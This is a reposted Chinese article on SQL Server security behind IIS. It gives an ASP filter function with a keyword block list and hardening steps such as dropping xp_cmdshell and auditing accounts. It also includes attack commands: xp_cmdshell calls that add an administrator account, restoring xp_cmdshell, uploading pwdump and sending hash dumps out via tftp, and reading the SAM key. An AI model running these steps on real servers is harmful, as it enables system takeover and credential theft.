IT貓撲網:您身邊最放心的安全下載站! 最新更新|軟件分類|軟件專題|手機版|論壇轉貼|軟件發(fā)布

您當前所在位置: 首頁服務器WEB服務器 → 從IIS轉到SQL數(shù)據(jù)庫安全

從IIS轉到SQL數(shù)據(jù)庫安全

時間:2015-06-28 00:00:00 來源:IT貓撲網 作者:網管聯(lián)盟 我要評論(0)

??? 從codered到nimda等,一大堆蠕蟲把原來需要人工利用的漏洞都變成了程序自動利用了,大家還想去手工操作這些IIS漏洞么?讓我們調整重心,去看看服務器常用的數(shù)據(jù)庫吧。

??一般網站都是基于數(shù)據(jù)庫的,特別是ASP、PHP、JSP這樣的用數(shù)據(jù)庫來動態(tài)顯示的網站。很多網站可能多注意的是操作系統(tǒng)的漏洞,但是對數(shù)據(jù)庫和這些腳本的安全總是忽略,也沒有太多注意。

??從最比較普遍的腳本問題開始,這些都是老話題了,大家可以參考Hectic寫的《關于數(shù)據(jù)庫的簡單入侵和無賴破壞,以天融信做例子》,該文章對從SQL腳本問題說得非常詳細。對于腳本安全的解決,也可以通過過濾來實現(xiàn),可以參考我以前寫的。對于ASP來說,可以使用下面這個過濾函數(shù):

Function?Filter_SQL(strData)

Dim?strFilter
Dim?blnFlag
Dim?i

strFilter="’,;,//,--,@,_,exec,declare"???’需要過濾的字符,可以自己添加,","是分隔符
blnFlag=Flase?????’過濾標志,如果產生過濾,那么就是真

Dim?arrayFilter
arrayFilter=Split(strFilter,",")
For?i=0?To?UBound(arrayFilter)
??If?Instr(strData,arrayFilter(i))>0?Then
????blnFlag=True
????Exit?For
??End?If
Next

If?blnFlag?Then
??Response.Redirect?"wrong.asp"
??’當發(fā)現(xiàn)有過濾操作時,導向一個預定頁面。反正正常訪問用不到的連接請求,總不是好事情。
Else
??Filter_SQL=strData
End?If

End?Function

??對于MS?SQL?Server數(shù)據(jù)庫來說,安全問題不僅僅局限在腳本上了。"天殺的微軟"的系統(tǒng)性很強,整個基于WINDOWS系統(tǒng)的應用都有很強的關聯(lián)性,對SQL?Server來說,基本可以把數(shù)據(jù)庫管理和系統(tǒng)管理等同起來了。SQL?Server默認的管理員帳號"sa"的密碼是空的,這給多數(shù)NT服務器產生一個安全漏洞。小榕的"SQLRCMD",就能夠利用獲得的數(shù)據(jù)庫管理員帳號執(zhí)行系統(tǒng)命令。

??在SQL?Server中有很多系統(tǒng)存儲過程,有些是數(shù)據(jù)庫內部使用的,還有一些就是通過執(zhí)行存儲過程來調用系統(tǒng)命令。

系統(tǒng)存儲過程:xp_cmdshell?

就是以操作系統(tǒng)命令行解釋器的方式執(zhí)行給定的命令字符串。它就具體語法是:xp_cmdshell?{’command_string’}?[,?no_output]

??xp_cmdshell在默認情況下,只有?sysadmin?的成員才能執(zhí)行。但是,sysadmin也可以授予其他用戶這個執(zhí)行權限。在早期版本中,獲得?xp_cmdshell?執(zhí)行權限的用戶在?SQL?Server?服務的用戶帳戶中運行命令。可以通過配置選項配置?SQL?Server,以便對?SQL?Server?無?sa?訪問權限的用戶能夠在SQLExecutiveCmdExec?Windows?NT?帳戶中運行?xp_cmdshell。在?SQL?Server?7.0?中,該帳戶稱為?SQLAgentCmdExec。現(xiàn)在對于SQL?Server2000,只要有一個能執(zhí)行該存儲過程的帳號就可以直接運行命令了。

??對于?NT?和?WIN2000,當用戶不是?sysadmin?組的成員時,xp_cmdshell?將模擬使用?xp_sqlagent_proxy_account?指定的?SQL?Server?代理程序的代理帳戶。如果代理帳戶不能用,則?xp_cmdshell?將失敗。所以即使有一個帳戶是master數(shù)據(jù)庫的db_owner,也不能執(zhí)行這個存儲過程。

??如果我們有一個能執(zhí)行xp_cmdshell的數(shù)據(jù)庫帳號,比如是空口令的sa帳號。那么我們可以執(zhí)行這樣的命令:

exec?xp_cmdshell?’net?user?refdom?123456?/add’
exec?xp_cmdshell?’net?localgroup?administrators?refdom?/add’

上面兩次調用就在系統(tǒng)的管理員組中添加了一個用戶:refdom

??當我們獲得數(shù)據(jù)庫的sa管理員帳號后,就應該可以完全控制這個機器了??梢姅?shù)據(jù)庫安全的重要性。

??下面這些存儲過程都是對Public可以執(zhí)行的:
xp_fileexist,用來確定一個文件是否存在。
xp_getfiledetails,可以獲得文件詳細資料。
xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。
Xp_getnetname,可以獲得服務器名稱。

??還有可以操作注冊表的存儲過程,這些不是對Public可以執(zhí)行的,需要系統(tǒng)管理員或者授權執(zhí)行:
Xp_regaddmultistring?
Xp_regdeletekey?
Xp_regdeletevalue
Xp_regenumvalues?
Xp_regread?(對Public可以執(zhí)行)
Xp_regremovemultistring?
Xp_regwrite


SQL?Server的安全配置

??除跟著微軟打滿所有補丁外,還需要加強數(shù)據(jù)庫的安全。
??首先,你需要加強象sa這樣的帳號的密碼,跟系統(tǒng)帳號的使用配置相似,一般操作數(shù)據(jù)庫不要使用象sa這樣的最高權限的帳號,而使用能滿足你的要求的一般帳號。

??接著對擴展存儲過程開始大屠殺,首先就是xp_cmdshell,還有就是上面那些一大堆存儲過程,都drop吧,一般也用不著。

執(zhí)行:
use?master
sp_dropextendedproc?’xp_cmdshell’

??去掉guest帳號,阻止非授權用戶訪問。

??去掉不必要的網絡協(xié)議。

??加強對數(shù)據(jù)庫登陸的日志記錄,最好記錄所有登陸事件。可以用下面的簡單DOS命令來查看日志:

findstr?/C:"登錄"?d:\Microsoft?SQL?Server\MSSQL\LOG\*.*

??用管理員帳號定期檢查所有帳號,是否密碼為空或者過于簡單,比如下面的語句:

Use?master
Select?name,Password?from?syslogins?where?password?is?null

??用下面語句對所有帳號,檢查對存儲過程和擴展存儲過程的執(zhí)行權,提防不必要的執(zhí)行權限擴散:

Use?master
Select?sysobjects.name?From?sysobjects,?sysprotects?Where?sysprotects.uid?=?0?AND?xtype?IN?(’X’,’P’)?AND?sysobjects.id?=?sysprotects.id

??加強數(shù)據(jù)庫的安全是非常重要的,有的數(shù)據(jù)庫服務器是和WEB服務器隔離開的,這就同MAIL服務器一樣,數(shù)據(jù)庫的日志可能就基本很少去查看,這將會成為管理員的一個疏忽點。類似DNS、MAIL等等,數(shù)據(jù)庫服務器往往成為各種入侵的跳板。

??下面是一些關于數(shù)據(jù)庫的問答和技巧:

1、獲得SA權限后,卻不能執(zhí)行xp_cmdshell存儲過程怎么辦?
??答:可能是已經把xp_cmdshell等擴展存儲過程刪除了,可以用這個存儲過程把xp_cmdshell恢復。
sp_addextendedproc?’xp_cmdshell’,?’xpsql70.dll’?

2、通過數(shù)據(jù)庫用pwdump獲得系統(tǒng)管理員密碼
先上傳一個pwdump
tftp?-i??GET?pwdump3.exe?pwdump3.exe
tftp?-i??GET?lsaext.dll?lsaext.dll
tftp?-i??GET?pwservice.exe?pwservice.exe
pwdump3?127.0.0.1?outfile.txt
tftp??PUT?outfile.txt?outfile.txt
然后再用解密工具l0pht等等破解這些密碼。

3、從數(shù)據(jù)庫讀取系統(tǒng)管理員密碼。
??能讀出加密的密碼是NT的"administrator"帳號也不能做的,SQL?Server能讀出來是使用的"LocalSystem"帳號,這個帳號比administrator更高一級??梢允褂孟旅孢@個存儲過程。不過讀出來的密碼是經過加密后的,然后再解密吧。
xp_regread?’HKEY_LOCAL_MACHINE’,’SECURITY\SAM\Domains\Account’,’F’?

??當然,數(shù)據(jù)庫服務器的安全和缺陷還有很多,還需要更多的研究。我對數(shù)據(jù)庫的學習還是起步階段,限于自己的水平,上面的難免有錯,歡迎大家指正和指教。

關鍵詞標簽:IIS,SQL數(shù)據(jù)庫安全

相關閱讀

文章評論
發(fā)表評論

熱門文章 ISAPI Rewrite實現(xiàn)IIS圖片防盜鏈 ISAPI Rewrite實現(xiàn)IIS圖片防盜鏈 IIS6.0下配置MySQL+PHP5+Zend+phpMyAdmin IIS6.0下配置MySQL+PHP5+Zend+phpMyAdmin 在Windows服務器上快速架設視頻編解碼器全攻略 在Windows服務器上快速架設視頻編解碼器全攻略 win2000server IIS和tomcat5多站點配置 win2000server IIS和tomcat5多站點配置

相關下載

    人氣排行 XAMPP配置出現(xiàn)403錯誤“Access forbidden!”的解決辦法 WIN2003 IIS6.0+PHP+ASP+MYSQL優(yōu)化配置 訪問網站403錯誤 Forbidden解決方法 如何從最大用戶并發(fā)數(shù)推算出系統(tǒng)最大用戶數(shù) Server Application Unavailable的解決辦法 報錯“HTTP/1.1 400 Bad Request”的處理方法 Windows Server 2003的Web接口 http 500內部服務器錯誤的解決辦法(windows xp + IIS5.0)